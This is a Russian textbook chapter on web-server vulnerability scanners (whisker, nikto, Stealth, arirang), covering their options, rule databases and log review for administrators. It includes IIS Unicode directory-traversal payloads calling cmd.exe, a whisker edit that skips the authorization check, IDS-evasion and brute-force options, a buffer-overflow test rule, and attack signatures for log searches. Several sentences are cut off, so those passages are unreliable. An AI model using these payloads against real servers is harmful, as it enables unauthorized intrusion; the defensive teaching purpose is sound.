Систему безопасности Web-сервера можно разделить на две основных категории: тестирование сервера на предмет общей уязвимости и тестирование web-приложения. Web-сервер должен быть сконфигурирован в соответствии с этим списком до того, как он будет открыт для использования через интернет.
Конечно, этот короткий список не может охватить особенности конфигурации связки Apache/PHP или детали каждой из рекомендованных настроек Internet Information Server (IIS), но он может послужить основой для создания жесткой политики компоновки Web-сервера. Для проверки стратегии компоновки следует также использовать сканер уязвимости.
У Web-серверов - Apache, iPlanet и IIS - много версий и добавлений для обеспечения безопасности. Обычно у сканера уязвимости есть сканирующий аппарат и каталог. Каталог содержит список общих файлов, файлов с описанием известных уязвимостей и наиболее распространенных способов взлома набора серверов. Например, сканер уязвимости ищет резервные файлы (переименованные из default.asp в default.asp.
Whisker - не самый древний из сканеров уязвимости CGI-интерфейса ( ). Тем не менее, эта программа была первым средством для совместного использования приемов проверки общей уязвимости, интеллектуального сканирования, которое реагирует на ответные HTTP-коды, и уклонения от систем обнаружения вторжений ( IDS ). Преимущества этой программы в том, что она написана в виде простых (правда, не всегда понятных) Perl-скриптов. При необходимости это позволяет отредактировать программу в простом текстовом редакторе для изменения имен пользователей, паролей и уязвимых
В списке уязвимостей программы whisker, возможно, что-то устарело, но он также включает проверки для директорий, которые никогда не исчезнут. Проверки /backup/ или /log/ директорий и текстовых файлов sam.txt никогда не устареют. Чтобы запустить whisker для одного хоста или IP-адреса, воспользуйтесь параметром -h. Параметр -H (обратите внимание на регистр) дает возможность задать файл, который содержит список IP-адресов или имен хостов. Также неплохая идея всегда использовать параметр -w для записи результатов каждой проверки, выполненной сканером. Параметр -W выводит все в HTML-формате. Это может выглядеть как ненужные бантики, но в то же время удобно, и демонстрация возможностей заставит притихнуть противников. Базовый вид командной строки whisker выглядит примерно так.
$ whisker.pl -h 192.168.42.27 -w - whisker / v1.4.0+SSL / rain forest puppy / www.wiretrip.net - -( Bonus: Parallel support ) - Loaded script database of 2045 lines = - = - = - = - = - = = Host: 192.168.42.27 - Cookie: PREF=ID=28bd8b28723a3f00:TM=1014183574: LM=1014183574:S=iaEPbCBRdvA = Server: IIS/5.0 + 200 OK: GET /robots.txt
Мы пропустили параметр -W, чтобы сделать вывод лучше читаемым на бумаге. После запуска whisker начинает выводить информацию на экран ( stdout в Unix-терминах). Не потеряйте результаты сканирования; вы можете сохранить их в файл. Параметр командной строки -l с именем файла после него, но мы редко это используем. Вместо этого воспользуйтесь преимуществами командной строки Unix.
$ whisker.pl -h 192.168.42.27 -w -W | tee whisker80_192.168.42.27.html.raw
-f.Понятные имена файлов позволят быстро просмотреть директории и визуально определить положение специфических файлов. Число 80 означает номер сканируемого порта - в данном случае, это значение по умолчанию. Другой номер порта может быть задан с помощью параметра -p.
Перед тем как начать изменять командную строку для проверки нестандартных Web-сайтов, сосредоточимся на анализе вывода для поиска уязвимых мест. Ниже мы добавили строку .html.raw к нашему выходному файлу, поскольку файл содержит все ответы Web-сервера, включая каждое сообщение "404 Not Found", которое нам не требуется. Ниже приведен пример удаления этих строк.
$ grep -v 404 whisker80_server.html.raw whisker80_server.html
Другими кандидатами на удаление могут быть строки, содержащие числа 400 (bad request), 401 (whisker. 403 ошибка обозначает файлы или директории, к которым нет доступа, поскольку для доступа к ним требуются другие полномочия. Итак, для удаления только 403 и 404 ошибок воспользуемся следующей командой.
$ grep -v 40\[34\] whisker80_server.html.raw whisker80_server.html
Если вы разбираетесь в регулярных выражениях, то можете понять, как в соответствии со следующей командой удаляются все предыдущие четырехсотые коды ошибок.
$ grep -v 40\[0134\] whisker80_server.html.raw whisker80_server.html
Помните, что если даже сканером анализируется только возврат HTTP-кода 200 для любого уязвимого файла, любая информация может быть полезна. Если запрос к директории /.old/ возвращает
Другой фокус заставляет whisker продолжать сканирование сайта, даже если стартовая страница требует аутентификации. Иногда администратор может применить управление доступом к директории верхнего уровня, например /admin/ - но может забыть о доступе к директориям или файлам более низкого уровня, таким как /admin/Docs/default.. Таким образом, можно использовать силовой прием для изменения строки в скрипте whisker.pl. Исходная строка и ее новый вид представлены ниже.
if($D{'XXAuth'} ne ""){
wprint("- Server demands authorization.");
wprint("- We don't have a login, so skipping host...\n");
$D{'XXServerInject'}="exit";}
Приравняйте переменную $D{'XXServerInject'} к чему-либо кроме exit. Это заставит whisker проигнорировать тот факт, что он не имеет должных полномочий для тестируемого сайта.
if($D{'XXAuth'} ne ""){
wprint("- Server demands authorization.");
wprint("- We don't have a login, so skipping host...\n");
$D{'XXServerInject'}="foo";}
Сервер может вернуть 401 ошибку или одну из трехсотых (30х) для перенаправления каждого запроса на страницу авторизации, но это будет не так в тех немногих случаях, когда список контроля доступа использован неправильно. В других случаях, вы всегда можете использовать grep для удаления сообщений об ошибках.
Исходная версия whisker (1.4) не поддерживает протокол SSL (Secure Sockets Layer). В этом нет ничего страшного, поскольку вы можете установить OpenSSL прокси-сервер (см. раздел " OpenSSL " далее в этой лекции). Но прокси не слишком подходящий вариант, если сканируется
более чем один IP-адрес одновременно. Поэтому H. D. Moore модифицировал программу для поддержки Perl SSL-функций.
perl Makefile.PL, make, make test и make install для любого модуля. Модуль Net::SSLeay требует работающего пакета OpenSSL. В Unix и Cygwin это делается просто.Для запуска whisker с поддержкой SSL необходимо использовать параметр -x. По умолчанию будет установлен порт 443, но он может быть изменен с помощью параметра -p.
$ whisker.pl -x -h 192.168.42.27 -w -W | tee whisker443_192.168.42.27.html.raw
Или для получения реальных преимуществ от использования параметра -x можно запустить программу со списком хостов.
$ whisker.pl -x -H hosts_ssl.txt -w -W | tee whisker443_hosts_ssl.html.raw
Если вы просмотрели все исходные коды whisker, то вы знаете, что он всегда выполняется как CGI-модуль Web-сервера. Настройте Web-сервер, переименуйте в whisker.cgi и поместите программу в директорию /cgi-bin/ сервера. По умолчанию этот модуль ограничивает функциональность программы сканированием только одного хоста, заданием одного порта и принудительного задания типа удаленного сервера. Но если вы разбираетесь в исходном коде, вы сможете привести CGI-версию в нормальное состояние.
Работа с ненадежными Web-сайтами. Whisker - не самое лучшее средство, поскольку он сканирует конкретные порты в соответствии с конкретным списком уязвимых Whisker предлагает набор параметров командной строки, которые в состоянии ввести в заблуждение простые средства обеспечения безопасности.
Наиболее простое средство обеспечения безопасности, и наиболее часто употребляемое начинающими разработчиками скриптов - переименование идентификационной строки Web-сервера. Как администратор, вы никогда не должны полагаться на непонятный прием обеспечения безопасности на вашем IIS 5.0, который представляется как Apache 1.3.22. Однако некоторые утилиты - whisker входит в их число - не могут запустить специальные тесты для IIS, если он определяется как Apache.
Whisker предоставляет возможность принудительно установить тип удаленного сервера с использованием параметра -S (заглавная).
$ whisker.pl -h 192.168.42.27 -w -W -S "IIS/5.0"
Этот параметр принудительно заставляет программу выполнять специфические для IIS тесты в соответствии со своей базой данных, несмотря на информацию, передаваемую в HTTP-заголовках.
Мы надеемся, вы разбираетесь в Perl, поскольку редактирование скрипта может сделать свойства параметра -S еще лучше. После этих двух строк
$D{'XXUserAgent'} = "Mozilla/5.0 [en] (Win95; U)";
$D{'XXForce'}=1 if defined($args{f});
добавьте новую строку, чтобы быть уверенным, что whisker считывает тип сервера, заданный в командной строке. Переменная XXForceS используется в логике сканирования, когда определяется, какие файлы использовать для тестирования.
$D{'XXForceS'}=1 if defined($args{S});
Другое препятствие для любого сканера уязвимостей состоит в работе с сайтами, которые требуют аутентификации. Базовая HTTP-аутентификация очень проста в реализации. Имя пользователя и пароль кодируются в коде , не шифруясь каким-либо надежным алгоритмом. Вдобавок к этому, аутентификационные полномочия передаются в заголовочной информации, передаваемой клиентом (это может быть Web-броузер или аппарат сканирования уязвимостей). Для всех сайтов, которые требуют базовой аутентификации, используйте параметр -a для задания правильных полномочий. Имя пользователя и пароль разделяются двоеточием.
$ whisker.pl -h 192.168.42.27 -w -W -a "grauf:penguin"
Whisker может обеспечить лобовую атаку с целью подбора правильного имени пользователя и пароля. К сожалению, это не самый лучший довод в пользу приобретения рекламируемого товара. Он не может поддерживать аутентификацию, основанную на формах. Сайт может сбить с толку алгоритм подбора пароля, если вернет в ответ нечто, отличающееся от HTTP 401-кода, в случае, если комбинация имя пользователя/пароль неправильная.
Если вы желаете проверить вашу IDS-систему на надежность контроля Web-уязвимостей, то набор параметров -I для вас. Каждый из параметров генерирует URL-запрос, который изменяется разными способами с целью ввести в заблуждение IDS-сигнатуры. Для тестирования IDS выполните каждую из 10 проверок (от 0 до 9) по отношению к серверу из вашей сети.
$ whisker.pl -h 192.168.42.27 -w -W -I3
Наилучшая защита от пассивного мониторинга - это шифрование. Для IDS весьма сложно отслеживать трафик поверх SSL. С другой стороны, легко запустить whisker поверх SSL и исследовать любые уязвимости.
Пример из жизни. Самообновление Scan.ab
Whisker -архив поставляется с четырьмя сканерами баз данных: brute.db, dumb.db, scan.db и server.db.
Каждый сканер баз данных содержит список универсальных директорий, универсальных файлов и уязвимых сценариев CGI, которые whisker обычно сканирует. Эти базы данных несколько устарели и поэтому не покрывают более новые способы взломов. В них также не хватает проверок, настроенных на ваши собственные Web-серверы.
Простейшая запись описывает корневую директорию или директории и специфические имена файлов для проверки. Например, правило в scan.db, которое проверяет на /, занимает одну строку:
scan () / >> robots.txt
Эта строка фактически заблокирована (или превращена в комментарий) по умолчанию. Чтобы ее активизировать, удалите символ ( # ) из начала строки, что мы и сделали. Следующая таблица описывает компоненты каждого правила сканирования.
| Правило | Описание |
|---|---|
scan |
Тип правила scan указывает, что эта строка содержит инструкции для специфической проверки. |
([server type]) |
Используйте круглые скобки, чтобы ограничить проверку одним типом Web-сервера. Например, правило с (iis) запускается только, если whisker идентифицирует целевой сервер, как некоторую версию Microsoft IIS. Обратитесь к файлу server.db за полным списком возможных целей. Если оставить это поле пустым, то это будет применимо ко всем Web-серверам. |
/ |
Это базовая директория, в которой следует искать целевой файл. Это может быть разделенный запятыми список, т.е. /, /cgi-bin, /en/cgi-bin. Вы также можете использовать заранее определенные массивы в этом поле, такие как @array или @cgis. Служит разделителем между директорией и файлами для проверки. |
|
Имя файла для проверки. Используйте разделенный запятыми список в этом поле, чтобы задать несколько файлов для конкретной директории: т.е. db.inc, dbase.inc, database.inc. |
Одно из основных преимуществ этих правил состоит в том, что whisker сам себя оптимизирует во время сканирования сервера. Например, если мы хотим проверить присутствие трех обычных файлов JavaScript в определенной директории, то правило должно выглядеть следующим образом.
scan (iis) /library >> global.js, local.js, toolbar.js
Whisker проверяет наличие директории /library до начала сканирования и наличие любых файлов *.js в этой директории. Если такой директории нет (имеется в виду, что запрос /library вернул ошибку 404), то он не будет проверять наличие этих трех файлов. Это мелочь, но чрезвычайно полезная, оптимизирующая скорость.
Определение массивов директорий. Во многих случаях, единственный файл может быть найден в одной из нескольких директорий. Например, обычная директория /cgi-bin может быть переименована несколькими способами. Массив должен быть объявлен до того, как правило сканирования его вызовет. Тогда используйте символ @, чтобы обратиться к массиву.
array cgis = cgi-bin, cgi, cgi-old, bin scan () @cgis shopping.pl clear @cgis
Команда clear удаляет массив из памяти. На самом деле, это не обязательно, но ваш старый профессор по компьютерным наукам одобрил бы такую чистоту.
Массив может, в свою очередь, содержать массив. Вот пример.
array common = include, library, scripts, tools array admin = adm, admin, manage, manager, secure, @common
Массив администратора содержит 5 новых директорий, и каждая из этих директорий в общем массиве. Это помогает классифицировать директории в определенные типы, чтобы сделать сканирование более полным.
Соответствующий пример добавляет проверки на уязвимость прохождения директорий IIS Unicode и Superfluous
array iisdirs = admin, certadm, certcontrol, certenroll, certque,
certsvr, cgi-bin, exchange, help, iisadmin, iisadmpwd, iishelp,
iissamples, images, info, _mem_bin, msadc, pbserver, rpc,
scripts, _vti_bin
Затем определим правила сканирования для проверки (это правило должно быть в одной строке).
scan () @iisdirs
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/
cmd.exe?/c+dir,
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/
ipconfig.exe?/all+dir,
..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir,
..%255c..%255c..%255c..%255c..%255cwinnt/system32/ipconfig.exe?/
all+dir, cmd.exe, root.exe
%c0%af и %255c - это только две из многих возможных строк прохождения директорий, но они работают. Также это правило проверяет на предмет листингов директорий из бинарного cmd.exe. Некоторые администраторы запрещают доступ к этому файлу, чтобы предотвратить такую атаку; однако ipconfig.exe - это тоже законная добыча. Две последние проверки на предмет cmd.exe и root.exe имели целью найти обломки предыдущих атак хакеров или вирусов. Это правило сканирования может быть добавлено к оригинальному scan.db whisker или помещено в свой собственный файл *.db.
Чтобы использовать альтернативный файл *.db, укажите опцию -s в командной строке.
$ whisker.pl -h 192.168.42.27 -w -W -s unicode.db
Обычные директории и файлы. Польза от whisker не ограничивается сканированием известных уязвимостей. Он также великолепно находит "скрытые" URL, резервные файлы и scan.db whisker уже содержит достаточное количество обычных файлов и директорий. Однако вы должны расширить файл *.db за счет структуры директорий, которую вы узнали "в поле". Например, многие Web-сайты написаны так, что допускают языковую настройку. Такие файлы должны специально приписывать /en к части файлов URL, что влияет на способность whisker сканировать обычные сценарии CGI и файлы. Whisker может искать /index.html., но не может найти /en/index.html.. Поэтому правила сканирования должны быть модифицированы, чтобы исправить это.
Здесь вместо поиска файлов *.inc и *.js в обычных директориях, специфицированных массивом, whisker специально приписывает указание на язык и сканирует на /en/inc/database.inc и т.д.
array common = inc, include, lib, library, tool, tools scan (iis) en/@common database.inc, global.inc, local.inc, toolbar.js
Прежде чем развиваться в качестве самостоятельной утилиты, whisker был создан, чтобы пополнить Perl-библиотеку средств сканирования. Nikto основывается на новом поколении LibWhisker-библиотеки. С самого начала программа поддерживает сканирование портов с поддержкой SSL и прокси.
Основанный на Perl, . Для работы также требуется LibWhisker (LW.pm).
LibWhisker. Полнофункциональная копия . Инсталляция очень проста. После разархивирования войдите в директории и соберите библиотеку. Как только сборка закончится, установите LW.pm в вашу Perl-директорию. Выполните следующую последовательность команд.
$ cd libwhisker-1.3 $ perl Makefile.pl lib $ perl Makefile.pl install
LibWhisker может показаться немного избыточным, поскольку он включает в себя функциональность нескольких, уже существующих Perl-модулей, таких как LibWhisker в том, что это "тощая" (минимальный размер файла по сравнению с модулями, функциональность которых он заменяет), простая (один модуль), специализированная (поддерживает только HTTP- и HTTPS-запросы) и живучая (обеспечивает единый интерфейс для поддержки запросов и приема ответов) утилита. Кроме того, она понятнее, чем оригинальная программа whisker!
Сканирование. Основные параметры командной строки nikto отличаются от команд whisker, поэтому вам придется осваивать новые параметры. Сравните командную строку whisker с аналогичной командной строкой nikto.
$ whisker.pl -h 192.168.42.27 -w -W | \ > tee whisker80_192.168.42.27.html.raw $ nikto.pl -host 192.168.42.27 -verbose -web -output \ > nikto80_192.168.42.27.html.raw
Выходная информация Nikto содержит указания на то, почему поиск может угрожать безопасности.
Target IP: 192.168.42.27
Target Hostname: www.victim.com
Target Port: 80
----------------------------------------------------
o Scan is dependent on "Server" string which can be faked, use -g to override
o Server: WebSTAR/4.2 (Unix) mod_ssl/2.8.6 OpenSSL/0.9.6c
o Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS,
PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE
o Server allows PUT method, may be able to store files.
o CONNECT method is enabled, server may act as a proxy or relays.
o Server allows DELETE method, may be able to remove files.
o Server allows PROPFIND or PROPPATCH methods, which indicates DAV/WebDAV is
installed. Both allow remote admin and have had security problems.
o WebSTAR/4.2(Unix)mod_ssl/2.8.6OpenSSL/0.9.6c appears to be outdated
(current is at least mod_ssl/2.8.7) (may depend on server version)
o /public/ Redirects to 'http://www.foundstone.com/public', this might be
interesting...
o robots.txt - This file tells web spiders where they can and cannot go (if they follow
RFCs). You may find interesting directories listed here. (GET)
o cgi-bin/htsearch?-c/nonexistant - The ht::/Dig install may let an attacker force
ht::/Dig to read arbitrary config files for itself.
(GET)
885 items checked on remote host
В таблице 8.1 перечислены основные параметры, необходимые для запуска утилиты nikto. Наиболее важные параметры устанавливают тестируемый хост, порт и выходной файл. Nikto воспринимает первый символ имени параметра как синоним. Например, вы можете ввести -s или -ssl, чтобы использовать протокол HTTPS, или вы можете задать -w или -web для получения выходной информации в формате HTML.
Nikto |
Whisker |
Описание |
|---|---|---|
-host |
-h |
Задает один хост. nikto не принимает файлы с именами хостов, так как это делает опция -H в whisker. |
-port |
-p |
Задает произвольный порт. |
- |
-v, -w |
Обеспечивает подробный отчет. Это единственная опция, которую не представляют аббревиатурой (-v зарезервирована для опции виртуального хоста). |
-ssl |
-x |
Активизирует поддержку SSL. nikto не предполагает HTTPS, если вы специфицировали целевой порт 443. |
-generic |
-S |
Указывает nikto игнорировать заголовок сервера и запускать сканирование всей базы данных. В отличие от опции whisker -S, вы не даете строки альтернативного заголовка после опции. |
-web |
-W |
Выводить отчет в HTML. |
-output |
-l |
Заносить протокол в файл. Например, -output nikto80_www.victim.com.html. |
-id |
-a |
Поддержка полномочий базовой идентификации HTTP. Например, -id username:password. |
-vhost |
-V |
Использовать виртуальный хост для целевого Web-сервера вместо IP-адреса. |
-evasion |
-I |
Техника обхода IDS. nikto использует 9 различных техник, чтобы форматировать запрос URL и ускользнуть от обнаружения в IDS. |
Следует помнить несколько основных положений в работе с утилитой nikto: задавайте хост ( -h ), порт ( -p ), SSL ( -s ) и имя выходного файла. Дополнительные параметры подробно описаны в таблице 8.2. По большей части эти параметры охватывают возможности большинства утилит для сканирования.
| Опция | Описание |
|---|---|
-allcgi |
Сканирует все возможные директории CGI. Не обращает внимания на ошибки 404, которые nikto получает для базовой директории. Подробности см. в разделе "Config.txt". |
- |
Видоизмененные проверки описываются в "Config.txt". |
-findports |
Сканирует целевой сервер. Это сканирование использует nmap или внутренние сокеты на базе Perl. |
-nolookup |
Не определяет имена хостов по IP-адресу. |
-timeout N |
Останавливает сканирование, если не получает данных в течение N секунд. По умолчанию - 10. |
-update |
Обновляет модули nikto и выясняет существование новых версий. |
Параметр -update упрощает процедуру сопровождения утилиты nikto. Этот параметр заставляет программу соединиться с хостом www.cirt.net и загрузить дополнительные модули для поддержания листа сканирования в текущем состоянии.
$ ./nikto.pl -update ---------------------------------- - Nikto v1.100BETA_2 - www.cirt.net - + Retrieving 'scan_database.db' www.cirt.net message: Send comments on Nikto to cirt.net so it can be a better product.
Config.txt. Nikto использует настроечный файл config.txt для установки отдельных, наименее часто используемых параметров, или наоборот, наиболее часто используемых в процессе сканирования. Этот файл включает дюжину настроек. Параметр может быть закомментирован с помощью символа #. Ниже приведены настройки по умолчанию:
CGIDIRS=/bin/ /cgi/ /mpcgi/ /cgi-bin/ /cgi-sys/ /cgi-local/ /htbin/ /cgibin/ /cgis/ /scripts/ /cgi-win/ /fcgi-bin/ #CLIOPTS=-g -a #NMAP=/usr/bin/nmap SKIPPORTS=21 111 #PROXYHOST=10.1.1.1 #PROXYPORT=8080 #PROXYUSER=proxyuserid #PROXYPASS=proxypassword DEFAULTHTTPVER=1.1 #PLUGINDIR=/usr/local/nikto/plugins MUTATEDIRS=/....../ /members/ /porn/ /restricted/ /xxx/ MUTATEFILES=xxx.htm xxx.html porn.htm porn.html
Строка CGIDIRS содержит список директорий, разделенный пробелом. Nikto пытается определить наличие каждой из директорий перед началом ее просмотра. Соответственно, параметр -allcgi отменяет такой порядок работы.
Строка CLIOPTS содержит параметры командной строки, которые будут использоваться при каждом запуске nikto. Этот прием обычно используется для сокращения командной строки. В файл включаются параметры -generic, - и -web.
Строки NMAP и SKIPPORTS управляют политикой сканирования портов ( -findports ). Если не поддерживается выполнение исходного модуля nmap (что обычно для Windows-систем), nikto использует для сканирования портов Perl-функции. Строка SKIPPORTS содержит список портов, которые никогда не сканируются.
Используйте строку PROXY* для включения поддержки прокси.
Также довольно редко возникает необходимость изменять строку DEFAULTHTTPVER. Вы можете поискать серверы, использующие только версию 1.0.
Строка PLUGINDIR определяет директорию для размещения определяемых пользователем модулей (аналоги файлов scan.db в whisker ). По умолчанию nikto осуществляет поиск в директории /plugins, размещаемой в директории, откуда программа запускается.
Строки существенно увеличивают время, которое требуется для сканирования сервера с параметром . Инструкция MUTATEDIRS устанавливает, что проверка каждой директории должна начинаться от корня или от перечисленных ниже директорий. Этот прием обычно используется для Web-сайтов, которые используют интернационализацию, вследствие чего директория /scripts заменяется на директорию /1033/scripts. Инструкция MUTATEFILES определяет необходимость сканировать каждый файл в приведенном списке директорий.
Пример из жизни. Обнаружение попыток вторжения
Как администратор, вы, должно быть, сканируете свои Web-серверы на уязвимость. Это часть вашей рутинной работы. Всегда лучше обнаружить собственные уязвимости до того, как это сделает кто-либо другой. С другой стороны, откуда вы можете знать, что кто-то использует эти средства против вас? Конечно, может помочь IDS, но у IDS есть несколько недостатков: они не могут справиться с высоким диапазоном частот, полагаются на свойство сопоставления с образцом, не могут (в большинстве) видеть закодированные потоки SSL. Кроме того, они дороги. Ответ в данном случае - обратитесь к своим файлам протоколов (logfiles). Вы же включили
Общие автографы. Файлы протоколов (Logfiles) - это средство безопасности. Они реакционны, а это означает, что если вы увидите автограф взлома в своем файле, то знаете, что вы уже атакованы. Если атака подвергла сервер риску, протоколы Web будут первым местом, куда следует обратиться, чтобы воссоздать события. Протоколы также помогают администраторам и программистам проследить ошибки и поврежденные страницы на Web-сайте - это необходимо для поддержания стабильности Web-сервера. Помня об этом, вы должны практиковать регистрацию на Web-сервере и сбор файлов протоколов (logfiles), просматривать их и архивировать.
В следующей таблице перечисляются некоторые позиции, на которые следует обращать внимание при проведении обзора протоколов. Многие из этих проверок могут быть автоматизированы при помощи такого простого средства, как grep.
Excessive 404s |
Избыток ошибок 404. Ошибка 404 в вашем файле протокола обычно означает одно из трех: опечатка или ошибка на странице сайта, пользователь неправильно набрал URI, или зловредный пользователь ищет "старушек". Если вы видите несколько запросов от IP-адреса, что привело к последовательности ошибок 404, проверьте свои остальные протоколы на этот IP-адрес. Вы можете обнаружить успешный запрос (ответ 200) где-то еще, что свидетельствует о вражеской активности. |
Unused |
Неиспользованные расширения файлов. Это подмножество избытка ошибок 404, но является хорошим индикатором автоматизированного средства. Если ваш сайт использует только файлы *. |
Excessive 500s |
Избыток ошибок 500. Любая ошибка сервера должна проверяться. Это может означать, что в приложении есть ошибки, или зловредный пользователь пытается запустить ошибочные данные на сервер. |
|
Чувствительные имена файлов. Поиск в протоколах запросов, которые содержат passwd, cmd.exe, boot.ini, ipconfig или другие имена системных файлов и команд. IDS часто отключают эти значения. |
|
Проверочные параметры. Атаки на Web-сервер часто прячутся внутри запросов, которые возвращают ответ 200. Убедитесь, что ваш Web-сервер регистрирует параметры, которые прошли на URI. |
Directory |
Прохождение директорий. Поиск атак, которые пытаются разрушить такие директории, как :, .., или %2e%2e. |
|
Длинные последовательности. Ищите длинные последовательности (более 100 знаков), запущенные как параметр. Например, имя пользователя, содержащее 200 символов A, вероятно означает, что кто-то пытается взломать приложение. |
Shell characters |
Признаки работы командного процессора. Ищите символы, которые имеют специальное значение в командных процессорах или SQL. Обычные символы: ' ! | < > * ; |
Помните, что IIS записывает URL в конечном разобранном формате. Например, атака на прохождение директории Unicode появляется как /scripts/..A..A..Acmd .exe?/c+dir, где файл протокола Apache захватывает необработанный запрос /scripts/ ..%c0%af..%c0%af..%c0%afcmd.exe?/c+dir?. При регистрации IIS убедитесь, что опции для записи uri- и uri-query выключены.
Эта программа работает под Windows с графическим интерфейсом пользователя, и поэтому не обладает, в отличие от whisker возможностями кросс-платформенного использования. располагает большим количеством тестов и имеет легко расширяемую базу данных. В настоящее время в базе данных программы находится около 13000 тестов, правда, только 5000 из них являются уникальными. Эти тесты были получены в результате сканирования большого количества устройств, имеющих встроенные Web-серверы, обладающих наиболее распространенными типами уязвимостей, свойственных IIS.
На рис 8.1 приведен вид интерфейса для сканирования одного IP-адреса. По умолчанию использует "нормальное" правило сканирования, которое содержит около 6500 тестов. Эта страница открывается с помощью кнопки .
Stealth также располагает параметрами для изменения номера порта (по умолчанию 80), при этом SSL-соединение не поддерживается. Задать номер порта 443 недостаточно., для этого должен быть задан список последовательных IP-адресов. Это существенно замедляет сканирование, поскольку программа сначала должна определить Web-сервер, а затем осуществлять его сканирование. Если серверы распределены по сети, то это еще сильнее замедляет процесс.

(рис 8.2) Сканер Stealth по умолчанию против цели(рис 8.1) Stealth сканирует список IP-адресовЕще немного о сканировании нескольких Web-серверов: программа постоянно фиксирует ошибки, выдает сообщения об ошибках, требующих, чтобы их закрывали вручную. Короче, - не лучшее средство для сканирования многих серверов одновременно.
Кнопка IDS Test работает аналогично технике обхода IDS у показано, как включить обход IDS.
Как только завершит сканирование, он выдаст запрос на сохранение результатов. Результаты сканирования представляют собой HTML-файл, в котором перечислены все возможные уязвимости, которые были найдены. - быстрое и простое средство, которое позволяет выполнить 6500 тестов для Web-сервера одновременно.
(рис 8.3) Обход IDS
Конструирование правил для весьма просто. Вы задаете URL, метод запроса и ожидаемый HTTP-
#INF Backup index.html file #GET /index.html.bak #200
Вместо метода #GET также может быть #HEAD или #POST. #200 может быть заменен любым не поддерживает пользовательские массивы, поэтому файлы внутри набора директорий должны быть перечислены отдельно. Параметры #GET и #200 подразумеваются по умолчанию и потому могут быть опущены. Как видно, базовый тест для URL не так развит как у whisker. У есть средство для упрощения разработки тестов на уязвимость -
показаны настройки для нашего простого теста для файла index.html.
(рис 8.4) Настройка теста уязвимостиНа закладке Options вы можете задать строку, которая будет показывать возврат ложного ответа или определять User-Agent. Некоторые Web-приложения используют заголовок User-Agent, чтобы принять решение о том, может ли броузер получить доступ к сайту. Некоторые броузеры не поддерживают JavaScript, ActiveX или Java, и это может послужить отказом в доступе к сайту. На рис 8.5 показан этот параметр.
(рис 8.5) Параметры для теста уязвимостиДругой классный прием, используемый в - это тест на переполнение буфера. Атака на переполнение буфера может быть применена против любого адреса, по которому Web-приложение требует списка параметров. Правило для проверки на переполнение буфера содержит четыре составляющих.
Ниже приведено правило для проверки условий переполнения буфера в строке авторизации ввода Web-приложения.
#INF Login.asp buffer overflow check "bofgen=/login.asp?user=%bofstrpasswd=none","bytes=999","chars=A"
В HTTP-запросе, который посылает , строка %bofstr меняется на 999 символов A.
Как только описание метода взлома создано, вам остается указать показан пример теста, называемого Sourcedis, который обычно не используется.
(рис 8.6) Добавление новых тестов
Как уже упоминалось, возможности по автоматическому сканированию набора Web-серверов ограничены. время от времени генерирует ошибки DNS, которые обычно случаются в процессе сканирования сервера с виртуальными хостами или когда сканируется сервер с несколькими IP-адресами (как в случае со многими большими, сильно загруженными сайтами). Ошибка DNS безобидна, но ее появление требует, чтобы вы закрыли окно сообщения, которое генерирует .
Большая часть тестов опирается на возвращаемые сервером HTTP-коды. Это хорошо, когда вы тестируете имеющиеся скрипты на наличие прорех, но это вовсе не означает, что скрипт уязвим. Большинство прорех viewcode.asp в IIS-файлах зафиксировано последующими только определяет их наличие и ошибочно принимает положительное решение. Даже если и может распознать специфические строки в результатах работы теста, немногие тесты могут это сделать. Использование HTTP-кодов возврата не означает, что может пропустить прореху, но это означает, что он может породить большое количество ошибочных положительных решений о наличии таких прорех.
Опирающаяся на оконный интерфейс утилита не слишком хорошо взаимодействует с другими. Сложно создать скрипт, который генерирует список Web-серверов или систем с открытым 80 портом, передать этот список на вход и затем разобрать выходной файл. Средства, выполняемые из командной строки, с другой стороны, могут быть встроены в конструкции программных циклов, и программными конвейерами передавать данные средствам разбора результатов, которые вы предпочитаете. Помните, как просто вы манипулировали выводом от whisker с помощью утилит tee и grep?
не поддерживает SSL-соединение. Это просто преодолеть. В разделе "Многоцелевые средства" мы увидим, как SSL-прокси легко решает эту проблему.
Twwwscan и arirang - близнецы. Twwwscan - Windows-сканер, с полностью графическим интерфейсом. Arirang построен на основе прототипа из Berkeley Software Distribution (BSD) и использует такое же, как twwwscan, рабочее ядро, тот же формат базы данных.
В отличие от .
Процесс инсталляции похож на многие другие программы из коллекции портов. Прежде всего, убедитесь, что ваша коллекция портов актуальна (внесены последние изменения), а затем соберите исполняемые коды arirang.
$ cd /usr/ports/security/arirang $ cvs up -Pad $ make $ make install
Наберите arirang в командной строке, и справка по использованию программы сможет поприветствовать вас.
Запуск Arirang. Запуск Arirang следует принципу простоты. Программа разработана как быстрый, качественно работающий сканер уязвимостей. Поддержка прокси, SSL и средств обхода IDL были принесены в жертву скорости и аккуратности работы. Запустив arirang с набором правил сканирования по умолчанию, можно увидеть вывод, похожий на информацию, выдаваемую whisker.
$ arirang -G -h www.victim.com
Параметр -G указывает на необходимость использования информации из заголовка тестируемого Web-сервера для определения типа сервера и используемой операционной системы. Вместо этого вы можете задать параметр -o, чтобы запросить netcraft-тип сервера и его версию. По умолчанию arirang, сканирует 80 порт, но воспользовавшись параметром -p, вы можете сканировать другой порт. Помните, по аналогии со , если вы используете 443 порт, arirang может это делать, но не поддерживает SSL-соединение.
finger -тестирования с использованием сканеров типа nmap.Вы также можете запустить arirang со списком Web-серверов, используя параметр f.
$ arirang -G -f hosts.txt
Arirang также предоставляет возможность сканировать интервал IP-адресов с помощью параметра -s (start) и -e (end).
$ arirang -G -s 192.168.17.2 -e 192.168.17.245
Параметр -P (верхний регистр) позволяет ускорить работу программы, особенно в случае использования параметра -f или сканирования интервала IP-адресов. Параметр -P управляет количеством одновременно выполняемых процессов. Сканирование уязвимостей не слишком интенсивный с точки зрения загрузки процессора процесс, но он опирается на установление сетевых соединений. Запуск нескольких процессов ведет к уменьшению общего времени сканирования.
$ arirang -G -f hosts.txt -P 20
Описываемый сканер уязвимостей - один из тех, которые можно легко и быстро обновлять вручную. Arirang содержит около 18 баз сканирования, хранимых в файлах с расширением *.uxe. По умолчанию положение этих баз данных определяется в момент компиляции программы. В *.uxe файлы размещаются в директории /usr/local/share/arirang.
